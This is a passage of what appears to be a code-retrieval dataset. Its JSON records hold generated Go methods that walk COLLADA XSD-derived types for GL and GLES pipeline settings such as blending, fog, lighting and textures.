me.XsdGoPkgHasElem_blend_funcchoicegl_pipeline_settingsschema_BlendFunc_TxsdGlPipelineSettingsChoiceBlendFunc_.Walk(); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\treturn\r\n\t\t}\r\n\t\tif err = me.XsdGoPkgHasElem_material_specularchoicegl_pipeline_settingsschema_MaterialSpecular_TxsdGlPipelineSettingsChoiceMaterialSpecular_.Walk(); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\treturn\r\n\t\t}\r\n\t\tif err = me.XsdGoPkgHasElem_line_stipple_enablechoicegl_pipeline_settingsschema_LineStippleEnable_TxsdGlPipelineSettingsChoiceLineStippleEnable_.Walk(); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\treturn\r\n\t\t}\r\n\t\tif err = me.XsdGoPkgHasElem_sample_alpha_to_coverage_enablechoicegl_pipeline_settingsschema_SampleAlphaToCoverageEnable_TxsdGlPipelineSettingsChoiceSampleAlphaToCoverageEnable_.Walk(); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\treturn\r\n\t\t}\r\n\t\tif err = me.XsdGoPkgHasElem_point_smooth_enablechoicegl_pipeline_settingsschema_PointSmoothEnable_TxsdGlPipelineSettingsChoicePointSmoothEnable_.Walk(); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\treturn\r\n\t\t}\r\n\t\tif err = me.XsdGoPkgHasElem_light_ambientchoicegl_pipeline_settingsschema_LightAmbient_TxsdGlPipelineSettingsChoiceLightAmbient_.Walk(); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\treturn\r\n\t\t}\r\n\t\tif err = me.XsdGoPkgHasElem_logic_opchoicegl_pipeline_settingsschema_LogicOp_TxsdGlPipelineSettingsChoiceLogicOp_.Walk(); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\treturn\r\n\t\t}\r\n\t\tif err = me.XsdGoPkgHasElem_cull_face_enablechoicegl_pipeline_settingsschema_CullFaceEnable_TxsdGlPipelineSettingsChoiceCullFaceEnable_.Walk(); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\treturn\r\n\t\t}\r\n\t\tif err = me.XsdGoPkgHasElem_fog_colorchoicegl_pipeline_settingsschema_FogColor_TxsdGlPipelineSettingsChoiceFogColor_.Walk(); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\treturn\r\n\t\t}\r\n\t\tif err = me.XsdGoPkgHasElem_line_widthchoicegl_pipeline_settingsschema_LineWidth_TxsdGlPipelineSettingsChoiceLineWidth_.Walk(); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\treturn\r\n\t\t}\r\n\t\tif err = me.XsdGoPkgHasElem_texture2Dchoicegl_pipeline_settingsschema_Texture2D_TxsdGlPipelineSettingsChoiceTexture2D_.Walk(); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\treturn\r\n\t\t}\r\n\t\tif err = me.XsdGoPkgHasElem_model_view_matrixchoicegl_pipeline_settingsschema_ModelViewMatrix_TxsdGlPipelineSettingsChoiceModelViewMatrix_.Walk(); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\treturn\r\n\t\t}\r\n\t\tif err = me.XsdGoPkgHasElem_fog_densitychoicegl_pipeline_settingsschema_FogDensity_TxsdGlPipelineSettingsChoiceFogDensity_.Walk(); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\treturn\r\n\t\t}\r\n\t\tif err = me.XsdGoPkgHasElem_normalize_enablechoicegl_pipeline_settingsschema_NormalizeEnable_TxsdGlPipelineSettingsChoiceNormalizeEnable_.Walk(); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\treturn\r\n\t\t}\r\n\t\tif err = me.XsdGoPkgHasElem_light_diffusechoicegl_pipeline_settingsschema_LightDiffuse_TxsdGlPipelineSettingsChoiceLightDiffuse_.Walk(); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\treturn\r\n\t\t}\r\n\t\tif err = me.XsdGoPkgHasElem_blend_equation_separatechoicegl_pipeline_settingsschema_BlendEquationSeparate_TxsdGlPipelineSettingsChoiceBlendEquationSeparate_.Walk(); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\treturn\r\n\t\t}\r\n\t\tif err = me.XsdGoPkgHasElem_depth_bounds_enablechoicegl_pipeline_settingsschema_DepthBoundsEnable_TxsdGlPipelineSettingsChoiceDepthBoundsEnable_.Walk(); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\treturn\r\n\t\t}\r\n\t\tif err = me.XsdGoPkgHasElem_texture_env_colorchoicegl_pipeline_settingsschema_TextureEnvColor_TxsdGlPipelineSettingsChoiceTextureEnvColor_.Walk(); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\treturn\r\n\t\t}\r\n\t\tif err = me.XsdGoPkgHasElem_sample_coverage_enablechoicegl_pipeline_settingsschema_SampleCoverageEnable_TxsdGlPipelineSettingsChoiceSampleCoverageEnable_.Walk(); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\treturn\r\n\t\t}\r\n\t\tif err = me.XsdGoPkgHasElem_stencil_mask_separatechoicegl_pipeline_settingsschema_StencilMaskSeparate_TxsdGlPipelineSettingsChoiceStencilMaskSeparate_.Walk(); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\treturn\r\n\t\t}\r\n\t\tif err = me.XsdGoPkgHasElem_polygon_offset_fill_enablechoicegl_pipeline_settingsschema_PolygonOffsetFillEnable_TxsdGlPipelineSettingsChoicePolygonOffsetFillEnable_.Walk(); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\treturn\r\n\t\t}\r\n\t\tif err = me.XsdGoPkgHasElem_polygon_offset_line_enablechoicegl_pipeline_settingsschema_PolygonOffsetLineEnable_TxsdGlPipelineSettingsChoicePolygonOffsetLineEnable_.Walk(); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\treturn\r\n\t\t}\r\n\t\tif err = me.XsdGoPkgHasElem_point_fade_threshold_sizechoicegl_pipeline_settingsschema_PointFadeThresholdSize_TxsdGlPipelineSettingsChoicePointFadeThresholdSize_.Walk(); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\treturn\r\n\t\t}\r\n\t\tif err = me.XsdGoPkgHasElem_line_stipplechoicegl_pipeline_settingsschema_LineStipple_TxsdGlPipelineSettingsChoiceLineStipple_.Walk(); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\treturn\r\n\t\t}\r\n\t\tif err = me.XsdGoPkgHasElem_point_distance_attenuationchoicegl_pipeline_settingsschema_PointDistanceAttenuation_TxsdGlPipelineSettingsChoicePointDistanceAttenuation_.Walk(); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\treturn\r\n\t\t}\r\n\t\tif err = me.XsdGoPkgHasElem_light_quadratic_attenuationchoicegl_pipeline_settingsschema_LightQuadraticAttenuation_TxsdGlPipelineSettingsChoiceLightQuadraticAttenuation_.Walk(); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\treturn\r\n\t\t}\r\n\t\tif err = me.XsdGoPkgHasElem_logic_op_enablechoicegl_pipeline_settingsschema_LogicOpEnable_TxsdGlPipelineSettingsChoiceLogicOpEnable_.Walk(); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\treturn\r\n\t\t}\r\n\t\tif err = me.XsdGoPkgHasElem_alpha_funcchoicegl_pipeline_settingsschema_AlphaFunc_TxsdGlPipelineSettingsChoiceAlphaFunc_.Walk(); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\treturn\r\n\t\t}\r\n\t\tif err = me.XsdGoPkgHasElem_texture2D_enablechoicegl_pipeline_settingsschema_Texture2DEnable_TxsdGlPipelineSettingsChoiceTexture2DEnable_.Walk(); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\treturn\r\n\t\t}\r\n\t\tif err = me.XsdGoPkgHasElem_fog_modechoicegl_pipeline_settingsschema_FogMode_TxsdGlPipelineSettingsChoiceFogMode_.Walk(); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\treturn\r\n\t\t}\r\n\t\tif err = me.XsdGoPkgHasElem_depth_boundschoicegl_pipeline_settingsschema_DepthBounds_TxsdGlPipelineSettingsChoiceDepthBounds_.Walk(); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\treturn\r\n\t\t}\r\n\t\tif err = me.XsdGoPkgHasElem_stencil_test_enablechoicegl_pipeline_settingsschema_StencilTestEnable_TxsdGlPipelineSettingsChoiceStencilTestEnable_.Walk(); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\treturn\r\n\t\t}\r\n\t\tif err = me.XsdGoPkgHasElem_light_model_ambientchoicegl_pipeline_settingsschema_LightModelAmbient_TxsdGlPipelineSettingsChoiceLightModelAmbient_.Walk(); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\treturn\r\n\t\t}\r\n\t\tif err = me.XsdGoPkgHasElem_point_size_maxchoicegl_pipeline_settingsschema_PointSizeMax_TxsdGlPipelineSettingsChoicePointSizeMax_.Walk(); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\treturn\r\n\t\t}\r\n\t\tif err = me.XsdGoPkgHasElem_color_maskchoicegl_pipeline_settingsschema_ColorMask_TxsdGlPipelineSettingsChoiceColorMask_.Walk(); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\treturn\r\n\t\t}\r\n\t\tif err = me.XsdGoPkgHasElem_point_size_minchoicegl_pipeline_settingsschema_PointSizeMin_TxsdGlPipelineSettingsChoicePointSizeMin_.Walk(); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\treturn\r\n\t\t}\r\n\t\tif err = me.XsdGoPkgHasElem_blend_func_separatechoicegl_pipeline_settingsschema_BlendFuncSeparate_TxsdGlPipelineSettingsChoiceBlendFuncSeparate_.Walk(); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\treturn\r\n\t\t}\r\n\t\tif err = me.XsdGoPkgHasElem_fog_startchoicegl_pipeline_settingsschema_FogStart_TxsdGlPipelineSettingsChoiceFogStart_.Walk(); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\treturn\r\n\t\t}\r\n\t\tif err = me.XsdGoPkgHasElem_light_enablechoicegl_pipeline_settingsschema_LightEnable_TxsdGlPipelineSettingsChoiceLightEnable_.Walk(); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\treturn\r\n\t\t}\r\n\t\tif err = me.XsdGoPkgHasElem_fog_enablechoicegl_pipeline_settingsschema_FogEnable_TxsdGlPipelineSettingsChoiceFogEnable_.Walk(); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\treturn\r\n\t\t}\r\n\t\tif err = me.XsdGoPkgHasElem_point_sizechoicegl_pipeline_settingsschema_PointSize_TxsdGlPipelineSettingsChoicePointSize_.Walk(); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\treturn\r\n\t\t}\r\n\t\tif err = me.XsdGoPkgHasElem_depth_maskchoicegl_pipeline_settingsschema_DepthMask_TxsdGlPipelineSettingsChoiceDepthMask_.Walk(); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\treturn\r\n\t\t}\r\n\t\tif err = me.XsdGoPkgHasElem_fog_endchoicegl_pipeline_settingsschema_FogEnd_TxsdGlPipelineSettingsChoiceFogEnd_.Walk(); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\treturn\r\n\t\t}\r\n\t\tif err = me.XsdGoPkgHasElem_projection_matrixchoicegl_pipeline_settingsschema_ProjectionMatrix_TxsdGlPipelineSettingsChoiceProjectionMatrix_.Walk(); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\treturn\r\n\t\t}\r\n\t\tif err = me.XsdGoPkgHasElem_material_emissionchoicegl_pipeline_settingsschema_MaterialEmission_TxsdGlPipelineSettingsChoiceMaterialEmission_.Walk(); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\treturn\r\n\t\t}\r\n\t\tif err = me.XsdGoPkgHasElem_rescale_normal_enablechoicegl_pipeline_settingsschema_RescaleNormalEnable_TxsdGlPipelineSettingsChoiceRescaleNormalEnable_.Walk(); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\treturn\r\n\t\t}\r\n\t\tif err = me.XsdGoPkgHasElem_clear_depthchoicegl_pipeline_settingsschema_ClearDepth_TxsdGlPipelineSettingsChoiceClearDepth_.Walk(); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\treturn\r\n\t\t}\r\n\t\tif err = me.XsdGoPkgHasElem_polygon_smooth_enablechoicegl_pipeline_settingsschema_PolygonSmoothEnable_TxsdGlPipelineSettingsChoicePolygonSmoothEnable_.Walk(); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\treturn\r\n\t\t}\r\n\t\tif err = me.XsdGoPkgHasElem_color_logic_op_enablechoicegl_pipeline_settingsschema_ColorLogicOpEnable_TxsdGlPipelineSettingsChoiceColorLogicOpEnable_.Walk(); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\treturn\r\n\t\t}\r\n\t\tif err = me.XsdGoPkgHasElem_light_model_local_viewer_enablechoicegl_pipeline_settingsschema_LightModelLocalViewerEnable_TxsdGlPipelineSettingsChoiceLightModelLocalViewerEnable_.Walk(); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\treturn\r\n\t\t}\r\n\t\tif err = me.XsdGoPkgHasElem_stencil_opchoicegl_pipeline_settingsschema_StencilOp_TxsdGlPipelineSettingsChoiceStencilOp_.Walk(); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\treturn\r\n\t\t}\r\n\t\tif err = me.XsdGoPkgHasElem_texture3D_enablechoicegl_pipeline_settingsschema_Texture3DEnable_TxsdGlPipelineSettingsChoiceTexture3DEnable_.Walk(); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\treturn\r\n\t\t}\r\n\t\tif err = me.XsdGoPkgHasElem_texture3Dchoicegl_pipeline_settingsschema_Texture3D_TxsdGlPipelineSettingsChoiceTexture3D_.Walk(); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\treturn\r\n\t\t}\r\n\t\tif err = me.XsdGoPkgHasElem_scissorchoicegl_pipeline_settingsschema_Scissor_TxsdGlPipelineSettingsChoiceScissor_.Walk(); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\treturn\r\n\t\t}\r\n\t\tif err = me.XsdGoPkgHasElem_clear_colorchoicegl_pipeline_settingsschema_ClearColor_TxsdGlPipelineSettingsChoiceClearColor_.Walk(); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\treturn\r\n\t\t}\r\n\t\tif err = me.XsdGoPkgHasElem_polygon_offsetchoicegl_pipeline_settingsschema_PolygonOffset_TxsdGlPipelineSettingsChoicePolygonOffset_.Walk(); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\treturn\r\n\t\t}\r\n\t\tif err = me.XsdGoPkgHasElem_texture1D_enablechoicegl_pipeline_settingsschema_Texture1DEnable_TxsdGlPipelineSettingsChoiceTexture1DEnable_.Walk(); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\treturn\r\n\t\t}\r\n\t\tif err = me.XsdGoPkgHasElem_scissor_test_enablechoicegl_pipeline_settingsschema_ScissorTestEnable_TxsdGlPipelineSettingsChoiceScissorTestEnable_.Walk(); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\treturn\r\n\t\t}\r\n\t\tif err = me.XsdGoPkgHasElem_blend_enablechoicegl_pipeline_settingsschema_BlendEnable_TxsdGlPipelineSettingsChoiceBlendEnable_.Walk(); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\treturn\r\n\t\t}\r\n\t\tif err = me.XsdGoPkgHasElem_polygon_offset_point_enablechoicegl_pipeline_settingsschema_PolygonOffsetPointEnable_TxsdGlPipelineSettingsChoicePolygonOffsetPointEnable_.Walk(); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\treturn\r\n\t\t}\r\n\t\tif err = me.XsdGoPkgHasElem_clip_planechoicegl_pipeline_settingsschema_ClipPlane_TxsdGlPipelineSettingsChoiceClipPlane_.Walk(); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\treturn\r\n\t\t}\r\n\t\tif err = me.XsdGoPkgHasElem_alpha_test_enablechoicegl_pipeline_settingsschema_AlphaTestEnable_TxsdGlPipelineSettingsChoiceAlphaTestEnable_.Walk(); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\treturn\r\n\t\t}\r\n\t\tif err = me.XsdGoPkgHasElem_textureRECT_enablechoicegl_pipeline_settingsschema_TextureRECTEnable_TxsdGlPipelineSettingsChoiceTextureRECTEnable_.Walk(); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\treturn\r\n\t\t}\r\n\t\tif err = me.XsdGoPkgHasElem_material_diffusechoicegl_pipeline_settingsschema_MaterialDiffuse_TxsdGlPipelineSettingsChoiceMaterialDiffuse_.Walk(); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\treturn\r\n\t\t}\r\n\t\tif err = me.XsdGoPkgHasElem_light_linear_attenuationchoicegl_pipeline_settingsschema_LightLinearAttenuation_TxsdGlPipelineSettingsChoiceLightLinearAttenuation_.Walk(); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\treturn\r\n\t\t}\r\n\t\tif err = me.XsdGoPkgHasElem_material_ambientchoicegl_pipeline_settingsschema_MaterialAmbient_TxsdGlPipelineSettingsChoiceMaterialAmbient_.Walk(); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\treturn\r\n\t\t}\r\n\t\tif err = me.XsdGoPkgHasElem_lighting_enablechoicegl_pipeline_settingsschema_LightingEnable_TxsdGlPipelineSettingsChoiceLightingEnable_.Walk(); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\treturn\r\n\t\t}\r\n\t\tif err = me.XsdGoPkgHasElem_GlHookAbstract.Walk(); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\treturn\r\n\t\t}\r\n\t\tif err = me.XsdGoPkgHasElem_front_facechoicegl_pipeline_settingsschema_FrontFace_TxsdGlPipelineSettingsChoiceFrontFace_.Walk(); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\treturn\r\n\t\t}\r\n\t\tif err = me.XsdGoPkgHasElem_depth_rangechoicegl_pipeline_settingsschema_DepthRange_TxsdGlPipelineSettingsChoiceDepthRange_.Walk(); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\treturn\r\n\t\t}\r\n\t\tif err = me.XsdGoPkgHasElem_light_positionchoicegl_pipeline_settingsschema_LightPosition_TxsdGlPipelineSettingsChoiceLightPosition_.Walk(); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\treturn\r\n\t\t}\r\n\t\tif err = me.XsdGoPkgHasElem_depth_funcchoicegl_pipeline_settingsschema_DepthFunc_TxsdGlPipelineSettingsChoiceDepthFunc_.Walk(); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\treturn\r\n\t\t}\r\n\t\tif err = me.XsdGoPkgHasElem_dither_enablechoicegl_pipeline_settingsschema_DitherEnable_TxsdGlPipelineSettingsChoiceDitherEnable_.Walk(); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\treturn\r\n\t\t}\r\n\t\tif err = me.XsdGoPkgHasElem_textureRECTchoicegl_pipeline_settingsschema_TextureRECT_TxsdGlPipelineSettingsChoiceTextureRECT_.Walk(); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\treturn\r\n\t\t}\r\n\t\tif err = me.XsdGoPkgHasElem_color_material_enablechoicegl_pipeline_settingsschema_ColorMaterialEnable_TxsdGlPipelineSettingsChoiceColorMaterialEnable_.Walk(); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\treturn\r\n\t\t}\r\n\t\tif err = me.XsdGoPkgHasElem_cull_facechoicegl_pipeline_settingsschema_CullFace_TxsdGlPipelineSettingsChoiceCullFace_.Walk(); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\treturn\r\n\t\t}\r\n\t\tif err = me.XsdGoPkgHasElem_clear_stencilchoicegl_pipeline_settingsschema_ClearStencil_TxsdGlPipelineSettingsChoiceClearStencil_.Walk(); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\treturn\r\n\t\t}\r\n\t\tif err = me.XsdGoPkgHasElem_stencil_op_separatechoicegl_pipeline_settingsschema_StencilOpSeparate_TxsdGlPipelineSettingsChoiceStencilOpSeparate_.Walk(); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\treturn\r\n\t\t}\r\n\t\tif err = me.XsdGoPkgHasElem_light_spot_exponentchoicegl_pipeline_settingsschema_LightSpotExponent_TxsdGlPipelineSettingsChoiceLightSpotExponent_.Walk(); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\treturn\r\n\t\t}\r\n\t\tif err = me.XsdGoPkgHasElem_textureCUBEchoicegl_pipeline_settingsschema_TextureCUBE_TxsdGlPipelineSettingsChoiceTextureCUBE_.Walk(); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\treturn\r\n\t\t}\r\n\t\tif err = me.XsdGoPkgHasElem_clip_plane_enablechoicegl_pipeline_settingsschema_ClipPlaneEnable_TxsdGlPipelineSettingsChoiceClipPlaneEnable_.Walk(); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\treturn\r\n\t\t}\r\n\t\tif err = me.XsdGoPkgHasElem_textureDEPTH_enablechoicegl_pipeline_settingsschema_TextureDEPTHEnable_TxsdGlPipelineSettingsChoiceTextureDEPTHEnable_.Walk(); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\treturn\r\n\t\t}\r\n\t\tif err = me.XsdGoPkgHasElem_textureDEPTHchoicegl_pipeline_settingsschema_TextureDEPTH_TxsdGlPipelineSettingsChoiceTextureDEPTH_.Walk(); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\treturn\r\n\t\t}\r\n\t\tif err = me.XsdGoPkgHasElem_texture1Dchoicegl_pipeline_settingsschema_Texture1D_TxsdGlPipelineSettingsChoiceTexture1D_.Walk(); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\treturn\r\n\t\t}\r\n\t\tif err = me.XsdGoPkgHasElem_fog_coord_srcchoicegl_pipeline_settingsschema_FogCoordSrc_TxsdGlPipelineSettingsChoiceFogCoordSrc_.Walk(); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\treturn\r\n\t\t}\r\n\t\tif err = me.XsdGoPkgHasElem_line_smooth_enablechoicegl_pipeline_settingsschema_LineSmoothEnable_TxsdGlPipelineSettingsChoiceLineSmoothEnable_.Walk(); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\treturn\r\n\t\t}\r\n\t\tif err = me.XsdGoPkgHasElem_depth_clamp_enablechoicegl_pipeline_settingsschema_DepthClampEnable_TxsdGlPipelineSettingsChoiceDepthClampEnable_.Walk(); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\treturn\r\n\t\t}\r\n\t\tif err = me.XsdGoPkgHasElem_auto_normal_enablechoicegl_pipeline_settingsschema_AutoNormalEnable_TxsdGlPipelineSettingsChoiceAutoNormalEnable_.Walk(); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\treturn\r\n\t\t}\r\n\t\tif fn != nil {\r\n\t\t\tif err = fn(me, false); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\t\treturn\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\treturn\r\n}", "title": "" }, { "docid": "0cd8812f6befcaf41a31906779be1257", "score": "0.5353258", "text": "func (me *TxsdGlesPipelineSettingsChoiceLightEnable) Walk() (err error) {\r\n\tif fn := WalkHandlers.TxsdGlesPipelineSettingsChoiceLightEnable; me != nil {\r\n\t\tif fn != nil {\r\n\t\t\tif err = fn(me, true); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\t\treturn\r\n\t\t\t}\r\n\t\t}\r\n\t\tif fn != nil {\r\n\t\t\tif err = fn(me, false); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\t\treturn\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\treturn\r\n}", "title": "" }, { "docid": "3878723edc15e255f5e9602d805595c8", "score": "0.53328294", "text": "func (me *TxsdGlesPipelineSettingsChoiceColorMaterialEnable) Walk() (err error) {\r\n\tif fn := WalkHandlers.TxsdGlesPipelineSettingsChoiceColorMaterialEnable; me != nil {\r\n\t\tif fn != nil {\r\n\t\t\tif err = fn(me, true); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\t\treturn\r\n\t\t\t}\r\n\t\t}\r\n\t\tif fn != nil {\r\n\t\t\tif err = fn(me, false); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\t\treturn\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\treturn\r\n}", "title": "" }, { "docid": "d4224d566a0d95510cb52f25c0ef5f80", "score": "0.528017", "text": "func (me *XsdGoPkgHasGroup_GlesPipelineSettings) Walk() (err error) {\r\n\tif fn := WalkHandlers.XsdGoPkgHasGroup_GlesPipelineSettings; me != nil {\r\n\t\tif fn != nil {\r\n\t\t\tif err = fn(me, true); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\t\treturn\r\n\t\t\t}\r\n\t\t}\r\n\t\tif err = me.XsdGoPkgHasElem_multisample_enablechoicegles_pipeline_settingsschema_MultisampleEnable_TxsdGlesPipelineSettingsChoiceMultisampleEnable_.Walk(); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\treturn\r\n\t\t}\r\n\t\tif err = me.XsdGoPkgHasElem_cull_facechoicegles_pipeline_settingsschema_CullFace_TxsdGlesPipelineSettingsChoiceCullFace_.Walk(); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\treturn\r\n\t\t}\r\n\t\tif err = me.XsdGoPkgHasElem_point_size_maxchoicegles_pipeline_settingsschema_PointSizeMax_TxsdGlesPipelineSettingsChoicePointSizeMax_.Walk(); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\treturn\r\n\t\t}\r\n\t\tif err = 